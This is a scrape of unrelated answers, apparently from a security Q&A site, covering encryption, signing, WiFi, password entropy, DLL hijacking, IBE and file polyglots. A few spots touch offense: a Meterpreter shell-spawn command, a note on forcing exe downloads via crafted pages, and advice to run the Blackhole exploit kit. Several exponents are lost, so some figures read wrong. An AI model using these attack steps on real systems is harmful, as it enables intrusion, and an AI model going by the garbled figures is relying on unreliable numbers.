I Belive this could be used to distribute a sorta of clickjacking attack , and obviously you can force the victim to download some exe from the crafted HTML page. Furthermore you can use the a link with href stuff like file:/// to run the malicious exe .
Sorry for typos in from phone


How can I contract an email tracking service and be silent about it?

Email servers store all mails they forward in cleartext. That means you must trust your email service provider to not snoop on you. An automatic forwarder is not necessary to do that. There are other ways to forward the content of your emails without using email. Also, all email tracking solutions depend on cooperation of the email reader. Most email readers can be configured in ways which make it impossible to track when an email is viewed in them (for example by not loading any images embedded in an email).

When you can not trust the provider, either switch to a different one or convince your communication partners to use an end-to-end encryption system like PGP.


What makes twitter different than other sites regarding users anonymity

It's not about your anonymity, but about your audience. As @darkf mentioned, Twitter doesn't have the same level of privacy settings that Facebook does. A user's tweets are either all protected or all public. This means that you have less control over your audience. A message that you meant as a sarcastic comment could be retweeted (repeated with attribution) by a friend who thinks it is funny, but someone you don't know could miss the sarcasm and interpret it as a terroristic threat and report it to the authorities. At this point, because of the public nature of Twitter, the authorities do not need a warrant or a subpoena to view your statement; depending on the level of personal detail in your profile, they might not even need Twitter's cooperation to identify you directly.

Facebook's privacy settings are really not any protection against law enforcement, since Facebook will comply with legal requests to access your content. Its real "benefit" in this situation is your ability to control your audience: if only your friends see your sarcastic statement, it is much less likely that they will turn you in to the authorities for making terroristic threats, since they are more likely to understand your tone and the unlikelihood that you are seriously making a threat.

EDITED TO ADD:

I didn't address Reddit. Because a large part of its structure is as a link aggregator, the opinions and statements of its users are primarily found in the comments, a lower-status area that doesn't get as much attention for a few reasons:

Perception based on other sites that the comments section consists of loonies.
Reduced ability to search comments for terms of interest. (Does Reddit even offer this natively?)
Widespread use of joke or throwaway accounts.

In other words, the signal-to-noise ratio is too high to make monitoring Reddit (or taking threats there seriously) of much worth to law enforcement. Twitter is really in the sweet spot between strong identity links (people using their real names and investing in their account's status) and openness of content to observation. Twitter's API even makes it easy to monitor for threats: you could have a feed consisting solely of tweets using the word "bomb" that originate in Birmingham, for instance.


What is the security benefit of Per-File Encryption key architecture?

Are there any security benefits to having a different key(it is
  encrypted by a master key and that encrypted key is included in the
  metadata for the file) used to encrypt each file versus just one key
  that is the same for all?

Maybe I misunderstand, but if you encrypt all files with "the same [key] for all", then once that key gets disclosed, all your files are potentially endangered. That's the "drawback" of the system.

On the other hand if you use a different key for every file, this cannot happen.

By not using the key directly, but rather using the key to encrypt a random presumaby unique nonce, and using the nonce to encrypt/decrypt the file, you get the unrelated benefit of being able to change a file's access token without need to reencrypt it.

It is to be noted, though, that when the file has been decrypted at least once, the nonce is to be considered known. At that point, changing the access token only protects the file against someone who has never read the file:

Alice chooses a nonce ("ABCDEF"). Maybe she is even unaware of its value.
Alice encrypts the nonce with a password "FOO", obtaining "XWSQPR".
Alice encrypts a very large file with "ABCDEF".
<XWSQPR:FILEABCDEF> is the new encrypted file.

Eve receives "FOO" from Alice, decrypts "XWSQPR" obtaining "ABCDEF",
and uses "ABCDEF" to successfully decrypt the file.

Alice fears that Eve may misuse the file. She knows that Eve has not
had the time nor the storage space to copy the decrypted file anywhere.
So she changes the password to "BAR". "ABCDEF" encrypts now to "PHWIIN"
and <PHWIIN:FILEABCDEF> is the new encrypted file. Only the header has
been rewritten, so the operation is very fast.

Bob, not knowing "BAR", cannot decrypt "PHWIIN" and cannot read the file.

Eve, on the other hand, cannot decrypt "PHWIIN" either, but does not need
to; the body of "FILEABCDEF" is still decryptable using the "ABCDEF" nonce
which is known to her. As soon as she gains access to the encrypted file,
she will be able to decrypt it even if she may need a specific tool to do
so, not the standard encryption/decryption tool used by Alice and Bob.

Using the same nonce for all files, encrypted with different passwords, yields the worst of both worlds - once one access token is revealed, all files are disclosed, whatever their access tokens.


How is PowerShell's RemoteSigned execution policy different from AllSigned?

Obviously AllSigned requires all modules/snapins and scripts to be code-signed. RemoteSigned only requires signing for remote files.  What are remote files?

The canonical answer is on the PowerShell blog:
http://blogs.msdn.com/b/powershell/archive/2007/03/07/how-does-the-remotesigned-execution-policy-work.aspx

But the bottom line is: RemoteSigned only requires code-signing on modules/snapins and scripts which are flagged as from the "Internet" zone in the 'Zone.Identifier' alternate data stream, unless you have "Internet Explorer Enhanced Security" activated, in which case it also includes "Intranet" flagged files and UNC paths.


How do I create a secure public wireless network?

NAT, whether single or double, doesn't have anything to do with security.

Security is ultimately the end user's job. You could just throw up some unsecured AP's, and provide a warning that anybody using those AP's needs to do their own due diligence to make sure they're only communicating with valid servers over valid HTTPS connections, or using a trustworthy VPN.

You really can't make the network itself secure without requiring your users to authenticate somehow. At the very least, basic WiFi security requires the use of WPA2 "Personal" and a shared key. You have to provide the key to every user. You could just hand it out on business cards or tear-off tabs on a bulletin board or put it on a sign on the wall. Even if you try to keep it semi-private, your users are going to share it. But at least individual devices will have a uniquely encrypted connection to the Access Point and won't be able to sniff each other. On the other hand, somebody could set up a rogue AP using the same key, your users would connect to that rogue AP, and the bad guy would be able to sniff all their traffic.

As far as the users themselves being secure on your network, that's really ultimately up to them. They need to only use websites and apps that utilize the HTTPS protocol, or use a VPN. More than that, far too many apps don't use HTTPS appropriately, completely bypassing the necessary checks to verify that the SSL/TLS certificates from servers are valid. Programmers too often have trouble getting the verification checks to work, so they give up and throw a switch that makes the protocol "just work," but at the expense of bypassing the verification checks. When they do that, the packets are encrypted, but they could be encrypted by a rogue key, possibly via DNS poisoning pointing the user at a bad server, with a bad guy picking up the whole conversation in the clear.

So you can't really guarantee secure communications for your public WiFi users. That's their job.


First of all you should read Part2 of the Browser Security Handbook,  specifically the same origin policy for DOM access and XMLHttpRequest.

The same origin policy is bounded by the domain name,  not the path and this fundamental rule will likely never change. If two web applications share the same domain then they will be able to read each-others data using an XMLHttpRequest.  This can be used to defeat CSRF tokens, in an attack similar to the Sammy MySpace worm.  The session id may also be accessible if the http_only cookie flag isn't set.

So how do you have two applications properly sandboxed?   They must be on a different domains.  Sub-domains are free,  so in order to use the SOP to sandbox these applications you must use target.shared-hosting.tld and attacker.shared-hosting.tld.

If you read the same-origin policy for cookies you will see that if a cookie is scoped to shared-hosting.tld  then *.shared-hosting.tld will be able to access this cookie value.  But this is also easy to avoid,  just make sure that all cookies are scoped to sub-domain,  so www.shared-hosting.tld would be a safe domain.

And this use of the SOP to sandbox applications will work just fine,  as long as the target application isn't vulnerable to XSS.


Why is Goodreads connecting to Google when I visit their website?

This is not really a question about security, however I understand that people may be confused by the way things are usually implemented on websites. What happens depends entirely on the order in which assets are loaded in the page.

First your plugin blocks all the scripts. The plugin will only show you the external scripts that can be found in the page, which are blocked. Then, when you allow those scripts, those scripts will execute and in turn they might load other scripts, which will be blocked again by the plugin. If you allow these scripts again, they will execute and they might load yet other scripts, and so on. That's why you sometimes have to keep allowing scripts, and more will appear.

Your page (note: registration is required): https://www.goodreads.com/review/pub_year_graph/37991099

In that page you have this code:

<script type="text/javascript" src="//www.google.com/jsapi"></script>

That script contains the following line, along with a lot of other code:

google.loader.GoogleApisBase = 'https://ajax.googleapis.com/ajax';

So first the page loads a script from google.com, and that script in turn loads other javascript from ajax.googleapis.com. Why do scripts load other scripts from other domains, instead of just loading what is needed from one domain? It's usually just the way they organize their APIs and services, and it might make sense because you can manage everything easily from one API, instead of having to worry about several different scripts and domains.

But if you are asking why they didn't place the script on the googleapis.com domain, and instead they loaded it from google.com, and so your browser ended up sending your google.com cookies along with the request, then I don't have an answer. Users' data is Google's business, so that choice might well have been on purpose. I don't know, I guess it would be interesting to ask Google why, maybe there's a technical reason, or maybe not. However, if you are in Europe, Google is not really at fault here. GDPR (General Data Protection Regulation, European law on privacy) requires that the websites check what they are doing with their users' data. So it's technically goodreads.com that is at fault here, for using Google's services in that way, no matter if they have a choice or not. In practice though nobody cares about Google, data, privacy or any laws about privacy. For now, at least.


Apparently, there are "secret second operating systems" (firmware) installed on mobile devices.

As to how this is possible, various actors around the world routinely spike equipment and software. This could mean that companies make secret deals to install malicious software or equipment without you knowing. In some cases, they even make deals with administrators and programmers, or target them and introduce an APT this way.

One example would be the purposeful introduction of flaws that can be exploited for your own desires. Imagine if you want access to a machine whenever you want. What do you do? Introduce a security flaw somewhere in some program or hardware. Let's break this down a bit:

You "infect" a machine with a tiny program that purposely allows a buffer overflow exploit to run. You intentionally write bad code for this purpose.
Whenever you need to do something, you can exploit the infected program.
Send a request, and have the tiny program download extra malware, which then executes.
If the downloaded malware is ever detected, the little exploit is still there, allowing potential re-infection, and the true purpose is obscured by something that seems useful.

Purposely introducing security flaws in software to target people is dangerous and immoral, but that is a favorite tool of those who like to harm others electronically.


Normally, you'd just run a good hashing algorithm on all files, generate a list of file hashes, put that along with your files, and then just cryptographically sign that. So, procedure:

GPG

your recipients need to have a public key of yours that they can trust, pre-shared¹
cd path/to/files/to/end/up/on/CD; sha256sum --tag **/** > hashes.sha256
gpg --output hashes.sha256.sig --sign hashes.sha256
burn all these files on your DVD
the recipient:

Verifies the hashes' signature: gpg --verify hashes.sha256.sig hashes
If that succeeds, they verify the hashes themselves sha256sum --check --strict hashes.sha256

I might add that I don't like GPG (although it's very well-suited for this kind of task) due to its complex CLI and its versatility that often lead to accidental unsafe usage.

 ¹you could also let them have the public part of a keypair whose private key is used to sign your key, but building a root of trust with signing keys might be a bit over the top in flexibility here...

signify

You can do very much the same with OpenBSD's signify tool (which is available for most operating systems), which is much, much lighter, only does exactly this, and whose public keys are not any less secure, but much shorter, so that you are able to hand them over much easier e.g. in printout form.

your recipients need to have a public key of yours that they can trust, pre-shared²
cd path/to/files/to/end/up/on/CD; sha256sum --tag **/** > hashes
signify -S -s signingkey.sec -m hashes -e
burn all these files on your DVD
the recipient:

Verifies the hashes' signature, and then automatically checks all the hashes signify -C -p signingkey.pub -x hashes.sig

²Since fewer people have used signify than GPG: Create a keypair with signify -G -c "Your Name <your@email.com>" -p signingkey.pub -s signingkey.sec.


What are the dangers of advertising my MySQL-powered amateur site?

Oh my. YES! All those things are of a concern. You only expose your server publicly if you are prepared to have that server taken over by a malicious party.

All one needs to do is to find a misconfiguration or a security hole and they can own your personal computer that you use to do things like access personal accounts (email, banks, etc.).

Public servers need to be locked down, with only the info it needs to provide a service. Best case is to have that server backed up and disposable in case it is compromised. If something bad happens, you blow it away and restore from back ups.

Do not expose your personal computer to the public in this way, especially when you are exposing custom code and you do not understand how exploitable it is.


Do passphrases need to be run through PBKDF2? Almost impossible to brute force?

Passphrases normally contain more data then passwords and can provide more entropy. It seems like it would still be hard to brute force a passphrase w/o using PBKDF2, assuming a user didn't select a famous quote, movie line, etc... I define a passphrase in this example as at least 22 characters.

What you're saying here is that there are passphrases which have large entropy. This doesn't prove anything. There are shorter passwords with large entropy. Length doesn't correlate so much with entropy when it's a human doing the choosing.

(Note: I'll use password and passphrase interchangeably from now on, because there is no difference between the two, technically speaking. A passphrase is a password that happens to consist of several words in a human language concatenated together.)

Entropy of a password made of 8 printable ASCII characters: 52 bits
Entropy of a password made of 4 Diceware words: 51 bits
(For uniformly random selections. The Diceware list consists of exactly 7776 words.)

The more randomness goes into a password, the harder it is for a human to memorize. If you use a slow hashing function rather than a fast one, you reduce the entropy that a password needs to have to escape cracking. It's a trade-off between spending more CPU time and requiring humans to memorize more.

Given that even decent passwords strain the capabilities of humans to memorize (and keep in mind that most people have tens if not hundreds of passwords), the choice is clear: you must provide them as slow a password hashing function as possible.


Bruteforce Passphrase of Dictionary Words

4 samples from a dictionary of 2000, gives a passphrase-space cardinality of 20004.

Time to crack at 1000 attempts per second;

20004 / 1000 = 1.6E10 seconds = 507 years.

With possible uppercase first-characters you have a cardinality of 4,0004 (twice as many words per slot). Which is quite a bit larger, and would take 8,117 years at 1000 attempts per second.

A dictionary of 10,000 words would yield 0.3 million years crack time at 1000 per second.

Whether this is a realistic threat model depends entirely on your situation. If you are talking about cracking the passphrase offline after it has been hashed with a single iteration of MD5, a determined attacker can reach over 100 billion attempts per second, which gives you just 27 hours rather then 0.3 million years in the last example.


Based on these email headers, where is this virus coming from?

Checked it out. Authmechanism=04 is a hexadecimal notation that tells you that the Exchange server did authenticate by IP-address.
With this, I mean that you have configured your Exchange server to treat certain IP addresses or ranges to be "trusted" in the parlance that it will bypass regular username/password authentication and/or eventual spam/virus filters.

The mail originates from a machine with IP 10.130.15.171. This IP could be a intermediate server. Then you might need to check the logs of that server.


Error Running command shell :TimeoutError Operation Time out

You can try using the following to spawn a bash shell:

execute -i -f /bin/bash


Direct Access to Administration Pages ,The web server or application server are configured in an insecure way

Administrative interfaces should not be exposed to the internet where possible as whilst it is not necessary exploitable, it still gives attackers an insight into the software you are using and provides an avenue of attack for them i.e. guessing usernames and passwords in an attempt to gain access.

By the sounds of it, the scan picked up that a page (believed to be an admin interface) could successfully be visited. The best way to check whether or not this is a false positive is by visiting the link yourself, preferably from a machine/device that is not part of your work network to determine whether its available externally. If you find it is accessible, then normally it is recommended to filter access to that page either by making it accessible only from internal addresses or requiring authentication prior to accessing the login with unsuccessful attempts returning a 403/401 response.


Is it illegal to publish an exploit against a known vulnerability in US?

Consult a lawyer for legal questions.  Answers here won't help you if you get into trouble.

That being said, obviously there are a lot of researchers in the US publishing proof-of-concept code, and even the code that goes into tools like the metasploit framework.  Also, there are some pages you can find from sources like the EFF's Coders' Rights Project.


If a USB stick accepts unsigned firmware updates then yes it's vulnerable to a bad USB attack.  There are products out there that only accept digitally signed firmware updates.  These devices are not susceptible.
http://www.ironkey.com/en-US/solutions/protect-against-badusb.html


Blocking Standard Users (Win 10) from Adding Chrome Extensions

Use Group Policy. This is supported by chrome.
It's fairly well documented how to do this:

Allows you to specify which extensions the users can NOT install. Extensions already installed will be disabled if blacklisted, without a way for the user to enable them. Once an extension disabled due to the blacklist is removed from it, it will automatically get re-enabled.
A blacklist value of '*' means all extensions are blacklisted unless they are explicitly listed in the whitelist.

There's more settings you can make, such as whitelisting or forcing specific extensions. Don't try to conjure up your own scheme by using custom permissions on parts of chrome user profile directory.


Is a public known password protected Wifi more secure than one without a password?

In a way, yes. If the key is publicly known then it would be trivial to connect to the network but to see what others are doing, the data would have to be captured and then decrypted using the known key versus simply flying around over the air in plain-text as in the case of no password. It is still not secure but then security is just a collection of steps to make the attacker's goal more difficult right?

P.S. don't do anything private from a cafe to begin with - you can't even be sure you're not connecting to someone else's 'fake' hotspot and in that case, not even your SSL sessions are safe.


Keeping signatures valid even after the private key has been compromised

The specific case of a private key being compromised is actually handled already, but you have to do it right in the first place.

The correct way to do it is to use a secure timestamp as part of the signature. These timestamps are provided by trusted third party servers (there are several ones that are usable for free provided by big names in the security business). They include a hash of the signed data and are integral part of the digital signature (The TSA signature is applied to the timestamp, your data and your digital signature).

When a your private key is compromised, you indicate the date when the revocation starts (in practice, it usually starts when you notify the CA that the key should be revoked). Any application validating a document signed with the revoked key should then compare the timestamp included with the signature with the one included with the key revocation record: anything before that date should be considered valid and anything starting and after that date should be considered invalid.

That way, document you signed before your key was compromised can still be validated safely.


Why do I get AV alerts when browsing a web page?

The AV blocked the script because it was malicious. JavaScript can be used to exploit browser vulnerabilities, or plugin vulnerabilities (e.g. Flash / PDF) and can result in native shellcode being executed on your machine.

However, this doesn't mean it should always alert you to such an issue. A lot of AV software will silently block the script if you already have a patch for it, or if it's not particularly dangerous.

In this case, though, there is a very good reason for the AV to alert you: it is informing you that the site you're visiting may be unsafe. If you think you're actually browsing your bank's website, and your AV pops up warning you about some JavaScript exploit, you're likely to double-check that you are indeed on your bank's website, and not a phishing site.


How exactly does this Flash malware function on Ubuntu?

As with most remote exploits targeting a 3rd party plugin (i.e, Adobe Flash, in this case), the attacker used a malformed compressed flash video to corrupt the embedded flash player on the victim.

The exact mechanisms are unclear to me as I have no intent on clicking on the video you linked because that video COULD be malware itself... however, the mechanisms are always the same: at some point a data buffer of some size that was improperly parsed was able to override some key values in memory that resulted in either data leakage or remote execution on the victim.

The fact that it was a Flash movie is not surprising in and of itself. Some older vulnerabilities in Flash player, that I'm aware of, involve dereferencing invalid blocks for the size of the images embedded in the video and drawing outside the allocated canvas region. Basically, the attacker changed the dimensions of the image/video such that they were valid according to the flash scripting language but were invalid in practice and thus when the flash player tried to assemble the content it corrupted memory.

What's particularly fun/interesting is the targeting of Linux - because Windows is the dominant target for these kinds of attacks. Linux tends to be more challenging because users are typically more cognizant of their threat level and take precautions. That's obviously not a golden rule by any means, but if you're playing around with Linux you are at least trying to learn how systems work much more so than being a straight Windows user.


what is the difference between dll hijacking and dll injection

DLL Hijacking is when you abuse the library search order to gain execution in a process. Being able to write to the directory an executable resides in allows a malicious actor the ability to drop a dll with the same name as one the executable will request via LoadLibrary. When the executable attempts to load the expected library, they will instead load the malicious one.

A legitimateish use for DLL Hijacking could be to add functionality to a third party tool that doesn't directly support plugins.
The finer details are explained by MSDN in the LoadLibrary entry.
See also this SO Question

DLL Injection on the other hand is where a running process is manipulated to load a desired library. MSDN details a way to do so without directly touching the process, through SetWindowsHookEx. Another way is to open a process, write the desired library name into its memory space, and then create a thread in the process to call LoadLibrary using that name as the buffer. This second way is covered in a SO Question


Reject IP packets with an ICMP error, or just drop them?

I usually vote for sending back an ICMP error for UDP and a RST packet for TCP. It does make debugging issues so much easier. And it prevents annoying timeouts: Mail and IRC servers often attempt to do an ident query or check that the client is not an open proxy.

If it is done at the out-most firewall there will be no relevant information disclosed. Depending on the setup it may even conceal that there is a firewall. If there were no answer, it would be obvious that there is a black hole.

It's important that servers send no answer for packets sent to a broadcast address in order to prevent an amplifying effect in a DoS situation. It's okay for the firewall to send the error message in this situation, resulting in only one answer.

ICMP-errors and TCP-RST packets are not larger than the smallest original packet. So these are not interesting for DDoS attacks.

Edit: DNS authoritative servers (and missconfigured DNS resolvers) are a lot more interesting for reflective DDoS attacks because the DNS answers are larger than the queries and therefore grant the attacker an amplification free of charge.


Yes technically you can do, or get, the same functions in software but more realistically No because the purpose of the HSM is to do it in Hardware and not Software.

https://en.wikipedia.org/wiki/Hardware_security_module

Most likely your client is looking to achieve specific security control needs or meet a regulatory requirement. Your best bet is to identify the source of the requirement and then investigate whether other security controls, or your proposed solution, can mitigate the specific risks your client is concerned with.

There are free software HSM solutions (I have never used this and it's not a recommendation per se):

https://openvz.org/Virtual_HSM

Finally if the reason you are asking is because you are hosting your product on a cloud compute platform you may want to look at Amazon's Cloud HSM. Lots of companies have been using this for years.

https://aws.amazon.com/cloudhsm/


dmcryt_write process in TOP but no WRDSK indicated

This is expected. I haven't looked into it too deeply, but I would assume that dmcrypt_write is writing at a lower level than where the statistics happen.

Good performance should be expected on any CPU supporting the AES-NI instruction set, dmcrypt_write never goes higher than 2% CPU usage for me when writing around 185 MiB/s. Performance testing with openssl gives me around 1.8 GiB/s for AES-256 in CTR mode.


Why is always possible to discover and exploit new zero-day vulnerabilities?

For as long as software is written by people, who are inherently imperfect and can make mistakes, there will be bugs in code that can be exploited.

Servers need to expose themselves to the outside world in order to provide their services, which are definitely provided by software written by people installed on the server. For client computers, they need to run software that allows them to be useful to their owners, such as word processing software, and that is still written by people.

In that example you write of, an attacker can attack the email service exposed by the server. Then, a few zero days for sandbox/chroot escape, privilege escalation and suddenly the attacker has root on the server.

No amount of mitigation will stop a determined attacker with nigh unlimited resources from compromising a system; it's a risk management thing, like what sort of attackers you are aiming to protect against determines what kind of measures you take.


Encrypting guest VM on ESXI with Veracrypt

If you want to encrypt the guest machines, then you can use veracrypt, but consider the performance impact. This way though you will need to enter a password every time the guest is restarted.

The other thing is, that if you create a snapshot of a running guest, then the encryption will be worthless.


Some things first:

Forget about MD5 immediately. It's old and weak.
Ideally, forget about SHA1 too. There are SHA2 and SHA3.
This hash algorithms in their pure form are useful for many things, but not for passwords. Use them in combination with eg. PBKDF2, or use bcrypt (and don't forget salting).

  So, if I am not wrong passwords are hashed so that in a rare
  situation of your database being compromised a hacker can not see all
  the passwords in your database as the passwords are hashed.

Correct. While this won't help making your server more secure (after all, it's already compromised in such a situation), it prevents eg. the attacker using the passwords on other sites. Sadly most people use one password for multiple things.

  Is hacking a database that easy? I mean instead of finding new ways to
  hash, why can't they make their database more secure or "hack-proof"?

You could (and you should). But:

Even with all your efforts, there always is some chance the attacker can get access. Bugs in software and devices you don't know about and/or you can't fix, and many more things.
Often you can't give your best because of managers who don't think security is important, have no budget for it etc.

  If a hacker manages to hack into some database, why would he want to
  know the hashed passwords? I mean he can change other columns of data.
  For example, he could search for his username and increase his bank
  balance. So, shouldn't all the fields be hashed?

If all fields are hashed, the database is useless for you too; so you can't do that. Remember, a good hash can't be reversed.

As said above, as soon as your DB/Server is compromised, the damage for you already happened. The hashed passwords just prevent that the attacker gets access to other accounts of your users too (and then some users would sue you, so hashing helps you too).


Identity-Based Encryption - how secure is it?

(Warning: mathematics ahead. But there is a summary at the end.)

IBE, as implemented by Voltage, uses a pairing. Known efficient pairings work over specially crafted elliptic curves (the two main pairings are Weil pairing and Tate pairing, and there exist some variants of the latter which offer performance boosts in some situations). These pairings were discovered by mathematicians in the 1950s; application of pairings to cryptography was first hinted at by Miller in the 1980s.

Initially, pairings were thought of ways to attack elliptic curve systems -- by reducing discrete logarithm on elliptic curve to discrete logarithm into a more "easy" field. The critical parameter is the "embedding degree", which I will note k. For a normal n-bit elliptic curve, discrete logarithm is hard up to 2n/2 operations, hence a 256-bit curve is enough for the standard "128-bit security". For a given curve, a pairing can be defined, which can be used to transform a discrete logarithm problem on the curve into a discrete logarithm problem in a multiplicative subgroup of a field of kn bits. The k parameter depends on the curve which is used. E.g., if you have a 256-bit curve with a very low k=2 embedding degree, then discrete logarithm on that curve is no harder than discrete logarithm in a multiplicative subgroup of a 512-bit field, which is much easier (a 530-bit discrete logarithm was performed in 2007).

Fortunately, a "normal" curve will have a very high embedding degree; a typical 256-bit elliptic curve will sport an embedded degree around 2255, i.e. much greater than 2 or 3. Selection of an elliptic curve according to the relevant standard (ANSI X9.62-2005) involves verifying that k is no lower than 100, which is invariably true with an overwhelming probability for a randomly selected curve anyway. This is called the "MOV condition".

An efficient pairing requires that kn is not too big, because the paring result is a kn-bit value and we want to do some relatively heavy computations with such values (modular exponentiations...). Hence, a pairing for IBE (not for attacks) needs a "weakened" curve with a very low embedding degree. The scheme described in the Boneh-Franklin article (2003) uses a 512-bit elliptic curve with the special property of being "supersingular", which implies (here) an embedding degree k=2 (thus the resulting security is that of discrete logarithm in a 1024-bit field, roughly similar to 1024-bit RSA).

Summary: the mathematical details above are meant to show where IBE stands:

The first practical implementation is described in an article from 2003.
That implementation works on elliptic curves with a special structure which was initially thought of as a weakness.
Use of elliptic curves for cryptography dates from the 1980s. Elliptic curves are deemed secure because nobody could find any internal structure which could be exploited to speed up discrete logarithm on elliptic curve -- except pairings, which are fortunately inapplicable to "normal" curves. But for IBE, we need a "weak" curve.

So IBE security, in practice, stands on a careful dosage of weakness injected in an elliptic curve, and the details were defined less than ten years ago. This is not an awful lot of time. In comparison, research on integer factorization can boast a whooping 2500 years of history (at least) so when we claim that factorization must be a hard problem, we have some facts to back that assertion up. Accumulated research time is the main, and mostly the only, metric by which cryptographic risk can be estimated.

Hence, IBE is a bit young to my taste for unchecked general deployment. Yet, you can do much worse than following Dan Boneh's steps and chances are that if (when) you will get hacked, it will not be due to any mathematical issue in pairings. Also, pairings are fun (for a mathematician, that is).

A good reading on pairings is Ben Lynn's PhD thesis (his advisor was Boneh, by the way).


For such a beginner and general subject (no offense! everybody has to begin somewhere!) such as iptables, any Linux distribution would be fine.

Choose one with which you feel comfortable, does not cause incompatibilities with your hardware and provide a large choice of packages so you will not be limited when having to install new software. DistroWatch is a good information source about current Linux distributions.

Afterward, depending on your studies, you may evolve toward a more specialized distribution. Some distribution provide already installed software or configuration hard to adapt on others (however the base system will still remain the same: Linux remains Linux, so the general experience and knowledge acquired on your favorite distribution will remain valid on others).

For instance:

You mention Kali Linux. This distribution provides a lot of pentesting tools pre-installed (ie. the offensive side of security). Most of these tools are also available on any other distribution though, so this should not prevent you from trying another distribution which might better match your personality and needs,
On the defensive side of security, you will see that different distribution may implement different systems (some ship with a pre-configured SELinux while some rely on AppArmor instead, some ship with a Linux kernel with grSecurity patch applied by default while some other do not, etc.). Here, the subject of your studies will lead you toward the most suited distribution (for instance I would not recommend to use an AppArmor based distribution like OpenSuse to study SELinux, CentOS or an Hardened Gentoo would be more suitable), however these are more technical and non-beginners subjects dedicated to people already fluent with Linux systems,
I should also mention distributions specialized in the forensic side of security, but most chances are that here again, most of the pre-installed tools are also available in any other Linux distribution. Moreover, a lot of these distributions are made for non-Linux people, making evidence collection more easy using semi-automated procedures, but keeping you from acquiring new Linux knowledge.

As a final word, I see a general tendency when dealing with security to always go toward Kali Linux, more for a fashion than objective reasons. Do not hesitate to try different distributions (virtual machines are great for such things!) since most provide a different feeling to the user.

Linux is meant to provide a free and open world so take advantage of this liberty to find a distribution with which you feel comfortable, most tools can be installed afterwards. The worse you could do would be to restrain yourself to a distribution making you feel uncomfortable: it would restrain your learning too.


Transparent way to send logs from honeypot to logging server

If honeypot is a virtual machine, you could write the logs to the host - tricky, but I've done it.

I have also simply used a second nic on the honeypot connected to a management network. Assuming that your hackers cannot see that level of access in the OS, they would never see the communications, and you have a lot of power over the firewall and routing rules to add safety.


How can I avoid getting exposed while travelling to Russia?

Now I am traveling to Russia and intend to use there the same laptop
I used to make my posts

I am going to write the answer assuming your laptop hasn't already been compromised with a rootkit/malware.If it has either nuke it or format HDD and preferably use linux live.
Now to your question

My question is this: What should I do to meet these needs?
any possibility of leaving any traces in Russia that could link my
Russian IP address with my past posts

Simply mask your IP address with a VPN and use tor browser on top it to avoid any browser finger printing.Also change your DNS server to either 1.1.1.1 or any other google DNS servers.This should be sufficient if you don't make any other mistakes.
**What are those mistakes?**
You say that you will be using the same account when you are in russia as well.Your mistakes could range from something super stupid like sharing your location(Like i said use tor browser) or sharing a photo of your nearby place.DONT MAKE OBVIOUS MISTAKES.You could also be social engineered via social networking VK.COM via messaging,ads or any other social engineering attack vector to compromise you.HERE CLICK THIS LINK.You could also make configuration mistakes which could lead to IP leaks.If you are that much paranoid you could use an operating system such as Tails which is made for privacy.This might be an overkill in my opinion,obvious mistakes are what you should be looking out for.
WHY DO I THINK VPN PLUS TOR BROWSER SHOULD SOLVE 99% OF YOUR PROBLEMS?
Well for starters an attacker would have to be very very dedicated in trying to compromise you and how would the attacker even know that you are in russia if you simply configured your VPN well.Lastly I would also advice you to not share on your social media that you are in russia and not agitate them into trying something.


How can I remove Sticky Keys Exploit via cmd?

The syntax of the command is incorrect.

  reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger

This will delete the value. You can do the same for "explorer.exe".


What are some security measurements that can be taken with Windows Phone?

Unlike iPhone and Android who have (flawed) full disk encryption, there is no option in the latest version of Windows Phone 7.5 to encrypt your whole device.

Windows Phone 8 however will have a lot of improvements (security wise) but they will still need to be proofed in the field. However the full disk encryption will be handled by Bitlocker, which has proven itself on Microsoft's desktop OS Windows 7.

Unfortunately there are little or few security measurements in place to keep your data private in case of theft.

Some apps that can be used to keep your things private:

GOOD for enterprise

Windows Phone has a built in feature to erase the phone from a distance. Which can be useful, but is often way too late if no other form of data security is used.


TL;DR: You shouldn't need to, linking account to IP is bad practice.

Requiring a specific public IP to identify an user is unwise from the perspective of the online game team.

Someone may create an account from his smartphone whilst connecting through several random free WiFi hotspots and he would never be able to reproduce the same public IPs.  Binding an account to an IP is a bad idea, and using IPs to check a user's identity is as error prone as asking him questions about his behaviour.  It is no wonder that Google calls your phone (or your backup phone) when you fail to remember part of your MFA (or lost you main phone).

Real world example

As someone who monitors user activity I never require exact IPs to prove that a certain user is himself.  Instead I compare, in a handful of GeoIP databases (3 different ones), the location of the user's current IP and the one that was used during the registration (or other incident with the user).  Although GeoIP databases are unreliable, using several of them and then taking the median is often good enough.

If I find that the location is very close and the same ISP is managing the IP, I have no reason to disbelieve the user.  If the user registered his account in South Africa and is now, say, two days later, connected to my website from Alaska claiming "problems with the account" I cut communications on the spot.

On the other hand, if I am still in doubt about a user's intentions after I checked his location and ISP I actually perform a ruse and email him something random.  For example:

  Oh yes, I think, I see your problem!  You created the account whilst you were in Marseilles, that's why I could not find it.  Am not 100% sure if I'm looking at the right log though, was that you?

(Of course I never got any connection from the given user from Marseilles.)  A user confirming this is obviously not the owner of the account.

That's a simplistic example but works pretty well in practice (moreover since this is in the same context of an online game).  And as @dandavis already said, this is pretty similar to the fact that the same IP pool is convincing enough.

This kind of bad practice kills a business.  Notably because of the example with the smartphone above, you can't ask a user who was surfing your page/app/game on a random free WiFi to get the IP address.  And users who forget their passwords and erase cookies, or simply cannot remember how to login are very common.


BlackHole Toolkit v2 JAVA Payload Stage Code Execution - What does this activity mean?! I cannot get hold of the owner of the server to check

It means that someone using the Blackhole exploit-kit - a kind of collection of tools which allows you to exploit vulnerabilities easy, it's an underground-tool and distributed mostly by crime-related websites - tries to exploit a vulnerability on your server.

But your IPS is detecting & preventing that.

What I'd do in your situation is first making sure all software (especially the one of Java) are up-to-date, and try to download the exploit-kit from this reputable website (At own risk!) and try to attack your own website using that kit. Back-up your website set-it up on another machine (localhost) with IPS out, and try it.

Like that you might discover what's wrong.


What all file types can we hide an archive file inside?

It depends on what you mean with hiding: if you just want to hide it for transport and later strip the image again then you can do it with any file type. If instead you want to create a polyglot, i.e. a file which is both a valid image and a valid different file type at the same time, then you are restricted to types which either allow junk data at the beginning or where a valid image is a valid beginning of the file too. For example both the ZIP and the PDF standard accept junk data at the beginning although not all actual implementations accept this. And this way they can be combined into a polyglot with another file format which accepts junk at the end, like several image formats but also gzip compressed data.

I don't know of a comprehensive list of all ways file formats can be combined this way. But a classic example of an attack using such polyglot is Gifar which combines GIF and JAR into a single file to bypass restrictions. And many examples of interesting polyglots can be found in the Funky File Formats talk from 31c3.


